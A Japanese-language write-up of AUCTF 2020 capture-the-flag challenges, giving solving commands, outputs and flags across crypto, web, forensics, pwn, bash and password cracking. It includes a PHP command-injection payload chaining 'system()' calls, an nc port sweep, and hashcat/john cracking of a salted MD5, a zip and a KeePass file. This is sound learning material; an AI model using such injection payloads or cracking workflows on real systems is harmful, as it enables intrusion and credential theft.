AUCTF 2020 Writeup
Contents
(2020/04/11 - 復習しました)
URL: https://ctf.auburn.edu/challenges
チャレンジ数が多かった!! 時間が足りない。
Bashの問題 ([Over The Wire](https://overthewire.org/wargames/) みたいなやつ)とか、いろいろ面白いチャレンジもありました。
Password Cracking はもう少し解きたかったなぁ。。
[Cryptography]: Pretty Ridiculous
Challenge
Eve discovered that a piece of paper had been shoved into her pocket.. what could it be? The message she found can be downloaded at the following link:
(n,e) = (627585038806247, 65537)
Attachment:
- message.txt
[145213650433152, 4562349440334, 24272724667960, 598242834066721, 89584939111364, 426756492371444, 511701778613016, 551732685650248, 296367799892003, 63113462897284, 198510931603899, 321201931522255, 401044612595398, 542697603423052, 213898535689643, 275839755798105, 185841409622217, 551732685650248, 121188708737752, 401044612595398, 512808963720303, 275839755798105, 198510931603899, 275839755798105, 401044612595398, 174484844253615, 551732685650248, 174486913717420, 575163265381617, 213898535689643, 401044612595398, 49103824223436, 551732685650248, 401044612595398, 598242834066721, 202722428784490, 306606077829794, 53801100921263, 401044612595398, 184805755675232, 405971446461049, 296367799892003, 275839755798105, 275839755798105, 401044612595398, 358054299396778, 4562349440334, 320837325468842, 401044612595398, 202722428784490, 551732685650248, 321201931522255, 228350651363859] |
Solution
1個ずつRsaCtfTool.pyで解きます。trコマンドを使ってmessage.txtの “,” を “\n” に変換してcipher.txtとして保存しておきました。
$ for c in $(cat cipher.txt); do ~/Python3/RsaCtfTool/RsaCtfTool.py -n 627585038806247 -e 65537 --uncipher $c ; done [+] Clear text : b'\x00\x00\x00\x00\x00\x00a' [+] Clear text : b'\x00\x00\x00\x00\x00\x00u' [+] Clear text : b'\x00\x00\x00\x00\x00\x00c' [+] Clear text : b'\x00\x00\x00\x00\x00\x00t' [+] Clear text : b'\x00\x00\x00\x00\x00\x00f' [+] Clear text : b'\x00\x00\x00\x00\x00\x00{' [+] Clear text : b'\x00\x00\x00\x00\x00\x00R' [+] Clear text : b'\x00\x00\x00\x00\x00\x003' [+] Clear text : b'\x00\x00\x00\x00\x00\x004' [+] Clear text : b'\x00\x00\x00\x00\x00\x00l' [+] Clear text : b'\x00\x00\x00\x00\x00\x00L' [+] Clear text : b'\x00\x00\x00\x00\x00\x00y' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00P' [+] Clear text : b'\x00\x00\x00\x00\x00\x00r' [+] Clear text : b'\x00\x00\x00\x00\x00\x001' [+] Clear text : b'\x00\x00\x00\x00\x00\x00M' [+] Clear text : b'\x00\x00\x00\x00\x00\x003' [+] Clear text : b'\x00\x00\x00\x00\x00\x00s' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00w' [+] Clear text : b'\x00\x00\x00\x00\x00\x001' [+] Clear text : b'\x00\x00\x00\x00\x00\x00L' [+] Clear text : b'\x00\x00\x00\x00\x00\x001' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [!] Warning: Wiener attack module missing (wiener_attack.py) or SymPy not installed? [+] Clear text : b'\x00\x00\x00\x00\x00\x00n' [+] Clear text : b'\x00\x00\x00\x00\x00\x003' [+] Clear text : b'\x00\x00\x00\x00\x00\x00v' [+] Clear text : b'\x00\x00\x00\x00\x00\x00E' [+] Clear text : b'\x00\x00\x00\x00\x00\x00r' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00b' [+] Clear text : b'\x00\x00\x00\x00\x00\x003' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00t' [+] Clear text : b'\x00\x00\x00\x00\x00\x00h' [+] Clear text : b'\x00\x00\x00\x00\x00\x00I' [+] Clear text : b'\x00\x00\x00\x00\x00\x005' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00S' [+] Clear text : b'\x00\x00\x00\x00\x00\x00m' [+] Clear text : b'\x00\x00\x00\x00\x00\x004' [+] Clear text : b'\x00\x00\x00\x00\x00\x001' [+] Clear text : b'\x00\x00\x00\x00\x00\x001' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00B' [+] Clear text : b'\x00\x00\x00\x00\x00\x00u' [+] Clear text : b'\x00\x00\x00\x00\x00\x00T' [+] Clear text : b'\x00\x00\x00\x00\x00\x00_' [+] Clear text : b'\x00\x00\x00\x00\x00\x00h' [+] Clear text : b'\x00\x00\x00\x00\x00\x003' [+] Clear text : b'\x00\x00\x00\x00\x00\x00y' [+] Clear text : b'\x00\x00\x00\x00\x00\x00}'
結果を rsa_result.txt として保存(エラーの行は削除)して、後ろから2文字目だけを取り出します。
$ cat rsa_result.txt | rev | cut -c 2 | tr -d "\n" ; echo auctf{R34lLy_Pr1M3s_w1L1_n3vEr_b3_thI5_Sm411_BuT_h3y}
Flag: `auctf{R34lLy_Pr1M3s_w1L1_n3vEr_b3_thI5_Sm411_BuT_h3y}`
[Web]: Miyazaki Trivia
Challenge
http://challenges.auctf.com:30020
Here’s a bit of trivia for you vidya game nerds.
Solution
robots.txtにアクセスすると、以下が書かれています。
VIDEO GAME TRIVIA: What is the adage of Byrgenwerth scholars? MAKE a GET request to this page with a header named 'answer' to submit your answer. fear the old blood. but master willem |
adage についていろいろ調べて試したところ、`Fear the Old Blood`が正解みたいです。
$ curl -H "answer:Fear the Old Blood" http://challenges.auctf.com:30020/robots.txt Master Willem was right.auctf{f3ar_z_olD3_8l0oD}
Flag: `auctf{f3ar_z_olD3_8l0oD}`
[Web]: Quick Maths
Challenge
http://challenges.auctf.com:30021
two plus two is four minus three that’s one quick maths
Solution
Webにアクセスすると、テキストボックスがあって、そこで計算をしてくれるようです。
2+2;phpinfo()
を試したところ、phpinfoが取れました。
そこで、2+2;system('ls -l')
を試したところ、以下が取れました。
4total 264 -rwxr-xr-x 1 www-data www-data 130736 Apr 4 09:09 date -rwxr-xr-x 1 root root 560 Mar 31 19:34 index.php -rwxr-xr-x 1 www-data www-data 130736 Apr 4 09:09 ls -rw-r--r-- 1 www-data www-data 6 Apr 4 09:02 test.txt
どうやら、date, lsはELFファイルで、おそらく他の人のテストによって生成されちゃったファイル。
test.txtも関係ないファイルでした。
index.phpの中にフラグがあると予想して、2+2;system("grep ctf index.php")
でフラグを取りました。
Flag: `auctf{p6p_1nj3c7i0n_iz_k3wl}`
[Web]: gg no re
Challenge
http://challenges.auctf.com:30022
A junior dev built this site but we want you to test it before we send it to production.
Solution
ページのソースを見ると、以下のjsファイルが見つかります。
http://challenges.auctf.com:30022/authentication.js
authentication.jsの中にbase64でエンコードされた箇所があるので、とりあえずデコードしてみます。
$ echo "TWFrZSBhIEdFVCByZXF1ZXN0IHRvIC9oaWRkZW4vbmV4dHN0ZXAucGhw" | base64 -d Make a GET request to /hidden/nextstep.php
言われた通り /hidden/nextstep.php にブラウザでアクセスしてみるも、特に何も見つからなかったので curl -v
でアクセスしました。
$ curl http://challenges.auctf.com:30022/hidden/nextstep.php -v * Trying 157.245.252.113:30022... * TCP_NODELAY set * Trying 2604:a880:400:d0::18f4:3001:30022... * TCP_NODELAY set * Immediate connect fail for 2604:a880:400:d0::18f4:3001: Network is unreachable * Connected to challenges.auctf.com (157.245.252.113) port 30022 (#0) > GET /hidden/nextstep.php HTTP/1.1 > Host: challenges.auctf.com:30022 > User-Agent: curl/7.67.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Sun, 05 Apr 2020 01:43:29 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.0.33 < BAS64: TWFrZSBhIFBPU1QgcmVxdWVzdCB0byAvYXBpL2ZpbmFsLnBocA== <--- なんか返ってきた。 < Content-Length: 15 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host challenges.auctf.com left intact Howdy neighbor!
受け取ったBase64文字列をデコードします。
$ echo TWFrZSBhIFBPU1QgcmVxdWVzdCB0byAvYXBpL2ZpbmFsLnBocA== | base64 -d Make a POST request to /api/final.php
フラグゲットです。
$ curl -X POST -d flag http://challenges.auctf.com:30022/api/final.php auctf{1_w@s_laZ_w1t_dis_0N3} $ curl -d flag http://challenges.auctf.com:30022/api/final.php auctf{1_w@s_laZ_w1t_dis_0N3}
Flag: `auctf{1_w@s_laZ_w1t_dis_0N3}`
#ところで、チャレンジ名の `gg no re` はどういう意味なんでしょうね。そっちの方がナゾです。
[Forensics]: Block2
Challenge
Billy runs a minecraft server. He wants to know which block was rolled back. Can you help him?
NONSTANDARD FLAG FORMAT: Insert the unix timestamp of the row into auctf{time_stamp}
Attachment:
- co_block.sql.gz
ファイルの中身の抜粋。
INSERT INTO `co_block` (`rowid`, `time`, `user`, `rolled_back`, `wid`, `x`, `y`, `z`, `type`, `data`, `meta`, `blockdata`, `action`) VALUES (612512, 1581375173, 3, 0, 1, 612, 5, 1757, 2, 0, NULL, '43', 1), (612513, 1581375173, 3, 0, 1, 610, 5, 1759, 2, 0, NULL, '43', 1),
Solution
INSERT INTO の行から、各Columnの意味がわかります。time
とrolled_back
だけに注目したらよさそうです。
$ grep '^(' co_block.sql | cut -d, -f2,4 | grep 1$ 1581060905, 1
Flag: `auctf{1581060905}`
[Forensics]: Animal Crossing
Challenge
While looking for the Animal Crossing Nintendo Switch you find weird traffic on your network. Investigate.
Attachment:
- animalcrossing.pcapng
Solution
pcapにいろいろ含まれていますが、weird traffic
と言えばDNSが明らかに怪しいです。
$ tshark -r animalcrossing.pcapng dns | grep "A " | grep -v AAAA | grep -v response | grep -v "org." 36 2.250193 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A RGlkIHlvdSBldmVyIGhlYXIgdGhlIHRyYWdlZHkgb2YgRGFydGggUGxhZ.ad.quickbrownfoxes.org 50 2.267361 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A 3VlaXMgVGhlIFdpc2U/IEkgdGhvdWdodCBub3QuIEl04oCZcyBub3QgYS.ad.quickbrownfoxes.org 64 2.285230 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A BzdG9yeSB0aGUgSmVkaSB3b3VsZCB0ZWxsIHlvdS4gSXTigJlzIGEgU2l.ad.quickbrownfoxes.org 78 2.301872 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A 0aCBsZWdlbmQuIERhcnRoIFBsYWd1ZWlzIHdhcyBhIERhcmsgTG9yZCBv.ad.quickbrownfoxes.org 92 2.318390 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A ZiB0aGUgU2l0aCwgc28gcG93ZXJmdWwgYW5kIHNvIHdpc2UgaGUgY291b.ad.quickbrownfoxes.org 106 2.335391 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A GQgdXNlIHRoZSBGb3JjZSB0byBpbmZsdWVuY2UgdGhlIG1pZGljaGxvcm.ad.quickbrownfoxes.org 120 2.354043 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A lhbnMgdG8gY3JlYXRlIGxpZmXigKYgYXVjdGZ7aXRfd2FzX3N0YXJfd2F.ad.quickbrownfoxes.org 134 2.370916 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A yc19hbGxfYWxvbmd9IEhlIGhhZCBzdWNoIGEga25vd2xlZGdlIG9mIHRo.ad.quickbrownfoxes.org 148 2.389254 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A ZSBkYXJrIHNpZGUgdGhhdCBoZSBjb3VsZCBldmVuIGtlZXAgdGhlIG9uZ.ad.quickbrownfoxes.org 162 2.407589 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A XMgaGUgY2FyZWQgYWJvdXQgZnJvbSBkeWluZy4gVGhlIGRhcmsgc2lkZS.ad.quickbrownfoxes.org 176 2.425737 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A BvZiB0aGUgRm9yY2UgaXMgYSBwYXRod2F5IHRvIG1hbnkgYWJpbGl0aWV.ad.quickbrownfoxes.org 190 2.443757 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A zIHNvbWUgY29uc2lkZXIgdG8gYmUgdW5uYXR1cmFsLiBIZSBiZWNhbWUg.ad.quickbrownfoxes.org 204 2.462298 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A c28gcG93ZXJmdWzigKYgdGhlIG9ubHkgdGhpbmcgaGUgd2FzIGFmcmFpZ.ad.quickbrownfoxes.org 218 2.479877 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A CBvZiB3YXMgbG9zaW5nIGhpcyBwb3dlciwgd2hpY2ggZXZlbnR1YWxseS.ad.quickbrownfoxes.org 232 2.498347 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A wgb2YgY291cnNlLCBoZSBkaWQuIFVuZm9ydHVuYXRlbHksIGhlIHRhdWd.ad.quickbrownfoxes.org 246 2.516018 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A odCBoaXMgYXBwcmVudGljZSBldmVyeXRoaW5nIGhlIGtuZXcsIHRoZW4g.ad.quickbrownfoxes.org 260 2.534242 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A aGlzIGFwcHJlbnRpY2Uga2lsbGVkIGhpbSBpbiBoaXMgc2xlZXAuIElyb.ad.quickbrownfoxes.org 274 2.552026 10.1.1.103 → 10.1.1.10 DNS 140 Standard query 0x0006 A 25pYy4gSGUgY291bGQgc2F2ZSBvdGhlcnMgZnJvbSBkZWF0aCwgYnV0IG.ad.quickbrownfoxes.org 684 11.324828 10.1.1.103 → 10.1.1.10 DNS 74 Standard query 0xe9db A www.odrive.com
(最後のwww.odrive.comは無視します。)
名前のところだけ取り出します。
$ tshark -r animalcrossing.pcapng dns | grep "A " | grep -v AAAA | grep -v response | grep -v "org." | awk '{print $12}' | cut -d. -f1 | tr -d "\n"
base64でデコードするとフラグが見つかります。
Did you ever hear the tragedy of Darth Plagueis The Wise? I thought not. It’s not a story the Jedi would tell you. It’s a Sith legend. Darth Plagueis was a Dark Lord of the Sith, so powerful and so wise he could use the Force to influence the midichlorians to create life… auctf{it_was_star_wars_all_along} He had such a knowledge of the dark side that he could even keep the ones he cared about from dying. The dark side of the Force is a pathway to many abilities some consider to be unnatural. He became so powerful… the only thing he was afraid of was losing his power, which eventually, of course, he did. Unfortunately, he taught his apprentice everything he knew, then his apprentice killed him in his sleep. Ironic. He could save others from death, but base64: invalid input |
Flag: `auctf{it_was_star_wars_all_along}`
[Pwn]: Thanksgiving Dinner
Challenge
I just ate a huge dinner. I can barley eat anymore… so please don’t give me too much!
nc challenges.auctf.com 30011
Note: ASLR is disabled for this challenge
Attachment:
- turkey (ELF 32bit)
Solution
Ghidraでソースを確認します。
|
|
fgets()の箇所でlocal_30に入力ができますが、バッファのサイズ16バイトにも関わらず、36バイト(0x24)読み込むようになっています。
ここで、その他のローカル変数を任意の値に書き換えられます。
if文の条件に合うように値をセットしたら、print_flag()でフラグが表示されます。
`(local_14 < -0x14)` の判定が少しわかりにくいですが、ここはアセンブラで見た方がわかりやすいかもです。
|
|
`0xffffffec` との比較をしているので、`0xffffffeb` か `0xffffffed` のどちらかで行けるでしょう(笑)
(0xffffffeb
が正解でした。)
ということで、書いたコードです。
|
|
Flag: auctf{I_s@id_1_w@s_fu11!}
[Bash]: Bash 2
Challenge
ssh challenges.auctf.com -p 30040 -l level2
password is the flag of the previous Bash challenge
Solution
|
|
みんなが同じマシンで作業してたので、ゴミファイルとかも結構あったし、結果として/tmpの下をモニターしているだけでフラグが取れちゃいました。
$ cd /tmp $ find . -type f | xargs cat | grep -v try YXVjdGZ7ZzB0dEBfbXV2X2Zhczd9Cg== : :
(grep -v try
は、他の人が作ったゴミをフィルターするだけのものです。)
$ echo "YXVjdGZ7ZzB0dEBfbXV2X2Zhczd9Cg==" | base64 -d auctf{g0tt@_muv_fas7}
Flag: auctf{g0tt@_muv_fas7}
#なにかを速く移動 (move fast) させないといけなかったのかな?
[Bash]: Bash 3
Challenge
ssh challenges.auctf.com -p 30040 -l level3
password is the flag of the previous Bash challenge
Solution
|
|
(ちなみに、初日は `sudo -u level4 /home/level3/passcodes.sh` の実行にパスワードが要求されて、2日目には直っていました。)
どれか1つ決め打ちで無限ループしたら、そのうち当たるだろう、というやり方です。
$ while true ; do echo 1 | sudo -u level4 /home/level3/passcodes.sh; done | grep -i auctf auctf{wut_r_d33z_RaNdom_numz}
Flag: auctf{wut_r_d33z_RaNdom_numz}
[Bash]: Bash 4
Challenge
ssh challenges.auctf.com -p 30040 -l level4
Solution
|
|
$ sudo -u level5 /home/level4/print_file.sh flag.txt auctf{FunKy_P3rm1ssi0nZ}
Flag: auctf{FunKy_P3rm1ssi0nZ}
#ここにきて、何がFunkyなのか意味がわからなかったです。
[Bash]: Bash 5
Challenge
ssh challenges.auctf.com -p 30040 -l level5
Solution
|
|
これはローカルで試したら、よくわかりやすかったです。
以下のようなファイルを用意。
|
|
これで実行すると、どのポートでncがlistenしているかわかるので、(ま、netstatでもよかったけど)
そのポートに対して、echo test | nc localhost <port>
みたいにしてやると、以降の処理が実行されてフラグが表示されました。
ちなみに、ローカルでテストする場合は、rootじゃなくても、自分自身でテストはできました。
ということで、チャレンジサーバ上で、`sudo /home/level5/portforce.sh`を実行して待受けしつつ、別のターミナルにて、
$ for i in {1024..65500} ; do (echo test | nc localhost ${i}) ; done invalid port {1024..65500} : No such file or directory $ /bin/bash $ for i in {1024..65500} ; do (echo test | nc localhost ${i}) ; done
Tips
/bin/sh と /bin/bash でループの書き方が違うので、上記のやり方は/bin/shだとエラーになります。
Flag: `auctf{n3tc@_purt_$can}`
#Discordで、「Random portがたまたま2回目で当たった」 と喜んでいる人がいました。たぶん、それはポート番号が当たったんじゃなくて、他の人がncを実行してくれたんだと思います。それはそれでラッキーでしたね^^
ここから下はイベント終了後に行った復習です。
[OSINT]: Good Old Days
Challenge
This site used to look a lot cooler.
Solution
チャレンジ内容から考えて、Web Archiveから過去のページを調べるやつでしたね。
https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users
Flag: auctf{Th053_w3rE_Th3_guD_0l3_d4y5}
[Sequence]: Can You SeeDa Sequence
Challenge
Time to put your problem solving skills to work! Finish the sequence!
If you asc me, this looks pretty random.
98, 107, 10, 66, 124, _, _, _, _, _
NOTE: The flag is NOT in the standard auctf{} format
flag format - comma separated list 1, 2, 3, 4, 5
Solution
‘SeeDa’ なので Seedを0か何かに決め打ちしてrand()関数を呼んだらシーケンスが見れると思ってCでやろうとしてたんですが、ダメでした(読みは合ってた)。これは、Pythonでやるやつだったみたいです。
ちなみに、ダメだったやつ:
|
|
ダメな結果:
103 70 105 115 81 127 74 108
正解:
|
|
Flag: 103, 77, 122, 91, 55
[Password Cracking]: Salty
Challenge
You might need this: 1337
Hash: 5eaff45e09bec5222a9cfa9502a4740d
NOTE: The flag is NOT in the standard auctf{} format
Solution
最初、以下みたいなサイトで解くやつかと思ったんですよね。
その後、以下のファイルを作るところまではやったんですが、`john` で解こうとしてハマって終了。
5eaff45e09bec5222a9cfa9502a4740d:1337
これは hashcat
でやるのがよかったみたい。モードは以下のようにいくつかあります。
$ hashcat --help | grep salt | grep md5 10 | md5($pass.$salt) | Raw Hash, Salted and/or Iterated 20 | md5($salt.$pass) | Raw Hash, Salted and/or Iterated 30 | md5(utf16le($pass).$salt) | Raw Hash, Salted and/or Iterated 40 | md5($salt.utf16le($pass)) | Raw Hash, Salted and/or Iterated 3800 | md5($salt.$pass.$salt) | Raw Hash, Salted and/or Iterated 3710 | md5($salt.md5($pass)) | Raw Hash, Salted and/or Iterated 4010 | md5($salt.md5($salt.$pass)) | Raw Hash, Salted and/or Iterated 4110 | md5($salt.md5($pass.$salt)) | Raw Hash, Salted and/or Iterated 3910 | md5(md5($pass).md5($salt)) | Raw Hash, Salted and/or Iterated
$ hashcat -m 20 -a 0 salty.txt /usr/share/wordlists/rockyou.txt --force hashcat (v5.1.0) starting... : 5eaff45e09bec5222a9cfa9502a4740d:1337:treetop Session..........: hashcat Status...........: Cracked Hash.Type........: md5($salt.$pass) Hash.Target......: 5eaff45e09bec5222a9cfa9502a4740d:1337 Time.Started.....: Sat Apr 11 12:55:08 2020 (1 sec) Time.Estimated...: Sat Apr 11 12:55:09 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 150.5 kH/s (0.44ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 28672/14344385 (0.20%) Rejected.........: 0/28672 (0.00%) Restore.Point....: 26624/14344385 (0.19%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: 200390 -> spongebob9
Flag: treetop
[Password Cracking]: Zippy
Challenge
Have fun!
NOTE: The flag is NOT in the standard auctf{} format
Attachment:
- zippy.zip
Solution
まずは、ダメだった例から。
$ zip2john zippy.zip > hash.txt ver 81.9 zippy.zip/unzipme.zip is not encrypted, or stored with non-handled compression type $ fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt zippy.zip found file 'unzipme.zip', (size cp/uc 871/ 908, flags 1, chk 0000)
というか、zip2john自体はあってたっぽいけど、なんか失敗してるのかと思って、fcrackzipをやって解けなかったので諦めたやつでした。
今日 john
でやってみたら普通にできたし。(11分かかりました)
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 8297018229 (zippy.zip/unzipme.zip) 1g 0:00:11:47 DONE (2020-04-11 13:48) 0.001413g/s 16660p/s 16660c/s 16660C/s 82973..828298 Use the "--show" option to display all of the cracked passwords reliably Session completed
ちなみに、`hashcat` でもやってみました。(こっちは24分くらいかかりました)
$ hashcat -h | grep -i zip 11600 | 7-Zip | Archives 13600 | WinZip | Archives $ cat hash.txt | cut -d: -f2 > hash2.txt $ hashcat -m 11600 -a 0 hash2.txt /usr/share/wordlists/rockyou.txt --force hashcat (v5.1.0) starting... : $zip2$*0*1*0*c08d7c0b232de6b3*f4fd*353*0cf6d3cf3ecc646b5ecf1a50f2396eef083c29c : 080e2c2396c6fa1dcecc5e9edf17475c78f308*7129395cf8dd47ce280f*$/zip2$:8297018229 Session..........: hashcat Status...........: Cracked Hash.Type........: WinZip Hash.Target......: $zip2$*0*1*0*c08d7c0b232de6b3*f4fd*353*0cf6d3cf3ecc.../zip2$ Time.Started.....: Sat Apr 11 13:09:39 2020 (24 mins, 57 secs) Time.Estimated...: Sat Apr 11 13:34:36 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 7764 H/s (6.00ms) @ Accel:256 Loops:124 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 11785216/14344385 (82.16%) Rejected.........: 0/11785216 (0.00%) Restore.Point....: 11784704/14344385 (82.16%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999 Candidates.#1....: 829802 - 8294584221
この先にもまだZipファイルが出てくるんですが、これ以上はやってません。
[Password Cracking]: Manager
Challenge
There might be a flag inside this file. The password is all digits.
NOTE: The flag is NOT in the standard auctf{} format
Attachment:
- manager.kdbx
Solution
いちおう、以下はやったんです。
$ keepass2john manager.kdbx > hash.txt $ john --incremental=digits hash.txt
でも、1時間半やっても終わらなかったので、強制終了して諦めたやつでした。。。
他の方のWriteupとか見てると、3時間くらいかかるっぽいですね。せっかちなんで、そんなに待っていられないです。
あと、もしかしたら、以下のようにフォーマットを指定した方がよかったかもです。
$ john --format:keepass --incremental=digits hash.txt
いちおう hashcat
で、フラグが6桁なのがわかっている前提でやってみました。(1時間弱かかりました)
$ hashcat -h | grep -i keepass 13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Managers $ hashcat -a 3 -m 13400 keepass_hash.txt '?d?d?d?d?d?d' --force : $keepass$*2*60000*0*f31bf71589af9d69d3a9d58b97755405de93aedfbefe244129bb5ac64ed8af41*2f0e592de948bbc65eb9738af2daca231ae54c851ceb1e98f16a69e8f5f48336*8a868c9aedf169c857a8734188bba8eb*8f12fb161ef9e102ef805b84f5ee733c2a645b71099cbf8dab1ed750c58756ee*34fe5cf5eb7991a826a71c3330f88ce9c5ed7cf0e041e4e50a24110d2a69cdd7:157865 Session..........: hashcat Status...........: Cracked Hash.Type........: KeePass 1 (AES/Twofish) and KeePass 2 (AES) Hash.Target......: $keepass$*2*60000*0*f31bf71589af9d69d3a9d58b9775540...69cdd7 Time.Started.....: Sat Apr 11 14:01:15 2020 (56 mins, 2 secs) Time.Estimated...: Sat Apr 11 14:57:17 2020 (0 secs) Guess.Mask.......: ?d?d?d?d?d?d [6] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 113 H/s (8.69ms) @ Accel:256 Loops:128 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 379392/1000000 (37.94%) Rejected.........: 0/379392 (0.00%) Restore.Point....: 37888/100000 (37.89%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:59904-60000 Candidates.#1....: 168432 -> 176865
もしかしたら、`-w`オプションを付けたらもっと早く終わるのかも知れないですけど、試してないです。
以下、helpより。
- [ Workload Profiles ] - # | Performance | Runtime | Power Consumption | Desktop Impact ===+=============+=========+===================+================= 1 | Low | 2 ms | Low | Minimal 2 | Default | 12 ms | Economic | Noticeable 3 | High | 96 ms | High | Unresponsive 4 | Nightmare | 480 ms | Insane | Headless
ここで取れた Master Password (157865) を使って、WindowsのKeePassツールで開くとフラグが取れました。
Flag: y0u4r34r34lh4ck3rn0w#!$1678
[Forensics]: Fahrenheit 451
Challenge
Your SUBSTITUTE teacher accessed his copy of Fahrenheit 451 over his windows network share. Can you find the flag your friend hid in the book?
Standard Flag Format auctf{}
Attachment:
- f451.pcapng
Solution
Pcapから、Fahrenheit_451_Full_Text.pdf を取り出すところまでは、すんなりいけます。
PDFは72ページあります。ハイライトもやってみたんですが、ページ数が多くて怪しい箇所を見つけるまでの根気がなくて諦めたやつです。
他の方のWriteupを参照すると、上から眺めていけば8ページ目辺りで見つかったらしいです。
そんなんだったら、72ページじゃなくて、せめて10ページくらいのファイルにしてくれてもいいのに。。。
ま、そんな文句を言っても仕方ないので、目視以外のやり方で、どうやったら大量のテキストの中から怪しい文字列を見つけられたか、考えてみました。
まずは、テキストを全部取り出します。
$ pdftotext Fahrenheit_451_Full_Text.pdf
案1:スペリングがおかしい単語を全部出してみるとか。
$ cat Fahrenheit_451_Full_Text.txt | aspell list | sort | uniq==> これはダメでした。フラグの箇所がそもそも単語とみなされないため。
案2:10文字以上の単語を全部出してみるとか。
$ cat Fahrenheit_451_Full_Text.txt | grep -o -w '\w\{10,\}' | sort | uniq==> これもダメでした。前述のと同じ理由で、フラグの箇所がそもそも単語とみなされないため。
案3:以下は、空白文字以外の文字が15個以上連続しているものの検索です。これでいけました。
|
|
あとは、SUBSTITUTEということで、rotをいろいろ試すだけです。(rot47でした)
Flag: `auctf{burn_the_books!!1!}`
Author CaptureAmerica @ CTF フラxxグゲット
LastMod 2020-04-11